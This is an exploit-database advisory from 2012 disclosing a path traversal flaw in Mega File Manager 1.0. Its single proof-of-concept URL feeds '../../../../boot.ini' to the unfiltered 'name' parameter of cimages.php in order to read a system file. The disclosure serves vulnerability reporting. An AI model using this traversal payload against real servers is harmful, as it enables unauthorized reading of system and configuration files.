MegaFileManager FileDownload Vulnerability
| EKU-ID: 2003 | CVE: | OSVDB-ID: |
| Author: i2sec-Min Gi Jo | Published: 2012-04-24 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 2003 | CVE: | OSVDB-ID: |
| Author: i2sec-Min Gi Jo | Published: 2012-04-24 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
# Exploit Title: [MegaFileManager FileDownload Vulnerability
# date: 2012-04-19
# Author: i2sec-Min Gi Jo
# Software Link: http://www.awesomephp.com/?Download*5
# Version: Mega File Manager V 1.0
# Tested on: Windows
# Description : There is no filtering on 'cimages.php' parameter 'name'.
# PoC : http://[server]/megafilemanager/cimages.php?name=../../../../boot.ini